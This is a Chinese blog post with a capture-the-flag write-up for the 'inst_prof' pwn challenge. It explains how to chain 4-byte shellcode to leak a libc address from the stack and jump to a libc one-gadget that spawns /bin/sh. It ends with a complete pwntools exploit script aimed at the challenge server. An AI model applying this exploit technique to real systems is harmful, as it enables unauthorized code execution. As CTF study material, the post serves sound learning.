

jarvisoj pwn inst_prof writeup

原创

charlie_heng 于 2018-01-23 20:52:50 发布 611 收藏

分类专栏: [pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/charlie_heng/article/details/79144466

版权



[pwn](#) 专栏收录该内容

26 篇文章 0 订阅

订阅专栏

这题其实是google ctf的一道题

看到的时候完全震惊了。。。4字节shellcode。。。这要怎么弄啊

想了半天想不出, 然后看了下别人的wp, 又一次被震惊了, 还有这种骚操作。。。

在执行shellcode的时候, r14这个寄存器是不变的, 所以可以用r14这个寄存器来存一些重要的东西

然后就是怎么get到shell呢?

我这里来一套别的骚操作, 不用别的wp里面的rop

首先先来说一个magic number

这个操作是我从另外的题里面学到的, 每个libc都存在一个地址, 跳转到这个地址就可以一发get shell (仅在x64下试验过, 貌似x86是不行的), 这个地址, 也是偏移, 被称为magic number, 每个libc的magic number虽然不同, 但是可以通过搜索/bin/sh, 然后可以找到几个地方, 类似下图

```
0000004647C
00000046483
0000004648A
0000004648F
00000046499
000000464A3
000000464A6
mov     rax, cs:environ_ptr_0
lea     rdi, aBinSh ; "/bin/sh"
lea     rsi, [rsp+188h+var_158]
mov     cs:dword_3C46C0, 0
mov     cs:dword_3C46D0, 0
mov     rdx, [rax]
call    execve
```

比如这题, magic number 就是0x4647c

找到这个magic number之后呢?

当然是把[rsp] 的值改为这个magic number+libc_base

这题的话, 在rsp+64的地方是存这__libc_start_main+xxx的地址, 这个xxx每个libc也不相同的, 但是代码都是差不多

```
000000021F43
000000021F45
000000021F47
mov     rax, [rsp+64h+var_158]
call    rax
loc_21F45:
mov     edi, eax
call    exit
```

这里的值为0x21f45+libc_base, 也就是call rax的下一个地址

我们先 `mov r14, rsp`

然后执行64次 `inc r14`

再 `mov r14, [r14]`

这个时候r14存的值就是 `0x21f45+libc_base`

下一步我们要把r14改成 `magic number+libc_base`

所以我们只要把r14 加上 `offset= (magic_number-0x21f45)`

这里可以利用题目执行0x1000次shellcode这个特点来缩短时间，也就是穿进去 `add r14, offset/0x1000`
之后再用 `inc r14` 加上剩下的数

最后 `mov [rsp], r14` 就可以get到shell了

ps: 这里三字节的指令都加了 `ret` 来加速

下面是payload

```

from pwn import *

context.arch='amd64'

dec_r14=asm('dec r14')+asm('ret')
inc_r14=asm('inc r14')+asm('ret')
mov_r14_rsp=asm('mov r14,rsp')+asm('ret')
mov_r14_rr14=asm('mov r14,[r14]')+asm('ret')
mov_rrsp_r14=asm('mov [rsp],r14')

debug=0
if debug:
    p=process('./inst_prof')
    #gdb.attach(proc.pidof(p)[0])
    offset=0xD691F-0x202B1
    #context.log_level='debug'
else:
    p=remote('pwn2.jarvisoj.com', 9893)
    #offset=0xEA33D-0x21F45
    offset=0x4647C-0x21F45

def exe(es):
    p.send(es)
    p.recvuntil('\x00\x00\x00')

p.recvuntil('initializing prof...')
p.recvuntil('ready')
exe(mov_r14_rsp)
for i in range(64):
    exe(inc_r14)
exe(mov_r14_rr14)
t1=int(int(offset/0x1000)/2)
t2=offset-t1*0x1000*2
add_t1=asm('add r14,%d'%t1)
print(t1)
exe(add_t1)
exe(add_t1)
print('start inc!')
print(t2)
for i in range(t2):
    exe(inc_r14)
p.send(mov_rrsp_r14)
p.interactive()

```